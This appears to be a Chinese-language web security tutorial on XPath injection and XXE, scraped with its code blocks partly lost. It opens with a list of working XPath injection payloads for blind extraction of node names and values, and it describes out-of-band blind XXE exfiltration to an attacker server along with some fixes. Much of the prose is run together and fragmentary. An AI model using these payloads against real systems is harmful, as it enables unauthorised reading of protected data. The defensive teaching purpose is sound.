// 报错
'
// 字符型,查看页面是否改变
' or count(parent::*[position()=1])=0 or 'a'='b
' or count(parent::*[position()=1])>0 or 'a'='b
// 数字型,查看页面是否改变
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])>0
']|//*|//*['
')]|//*|//*[('
// 完整的语句
//a[@b='{$user}']/c[d(e, '{$name}')]/f
//a[@b='']|//*|//*['']/c[d(e, '{$name}')]/f
//a[@b='{$user}']/c[d(e, '')]|//*|//*[('')]/f
// 提取父节点的名字,改变位置,判断字符
'or substring(name(parent::*[position()=1]),1,1)='a
'or substring(name(parent::*[position()=1]),2,1)='b
// 提取子节点的名字
'or substring(//父节点名[1]/*[2],1,1)='p' or 'a'='a
'or substring(//父节点名[1]/*[2],2,1)='a' or 'a'='a
// 提取子节点的值
'or substring(//父节点名[1]/*[2]/text(),1,1)='a' or 'a'='a
'or substring(//父节点名[1]/*[2]/text(),2,1)='b' or 'a'='a
0x01 XXE
XMLXML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言XML文档结构包括XML声明、DTD(Document Type Definition)文档类型定义(可选)、文档元素DTD的作用是定义XML文档的合法构建模块,DTD可以在XML文档内声明,也可以外部引用DTDDTDDTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用XML时,实体将会被替换成相应的引用内容XXEXXE Injection即XML External Entity Injection,XML外部实体注入攻击XML的外部实体来获取服务器中本应被保护的数据XXE成因XML解析器解析外部实体时支持多种协议PHP支持的扩展协议PHP中xml_parse就不会解析外部实体)XXE攻击方式显式 XXEBlind XXEBlind XXE来构建一条带外数据通道提取数据Blind XXE主要使用了DTD约束中的参数实体和内部定义实体DTD中定义和使用的实体,一般引用时用%作为前缀Blind XXE采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的URL中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache日志)中读出文件的内容(指定服务器即攻击者的服务器)DTD中使用%来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到XML文件的DTD来使用a将外部文件evil.dtd引入b嵌套定义了内部实体sendsend将数据进行转发send改为参数实体的话XXE检测XXE是否会被解析Blind XXE方式,引用外部文件XXE漏洞修复XML解析库,默认禁止外部实体的解析XML数据PHPJavaPython0x02 XPath 注入
XPathXPath是一门在XML文档中查找信息的语言,可用来在XML文档中对元素和属性进行遍历XPath非常类似对数据库操作的SQL语言,或者说JQuery,它可以方便开发者抓取文档中需要的东西XPath中有七种类节点类型:/: 从根节点选取//: 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置.: 选取当前节点..: 选取当前节点的父节点@: 选取属性*: 匹配任何元素节点@*: 匹配任何属性节点node(): 匹配任何类型的节点|: 选取若干路径XPath注入XPath解析器的松散输入和容错特性,能够在URL、表单或其他信息上附带恶意的XPath查询代码,以获得权限信息的访问权并更改这些信息XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据,也就是说如果一个网站某应用程序将数据保存在XML中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到XPath查询中,即产生XPath注入,那么攻击者就可以通过控制查询来获取数据,或者删除数据之类的操作Fuzz方法PayloadPayload(当不知道任何节点的名称或只知道一部分)IE错误编码信息进行替换,屏蔽系统本身的出错信息XPath查询,将需要构建的XPath查询表达式以变量的形式表示,变量不是可以执行的脚本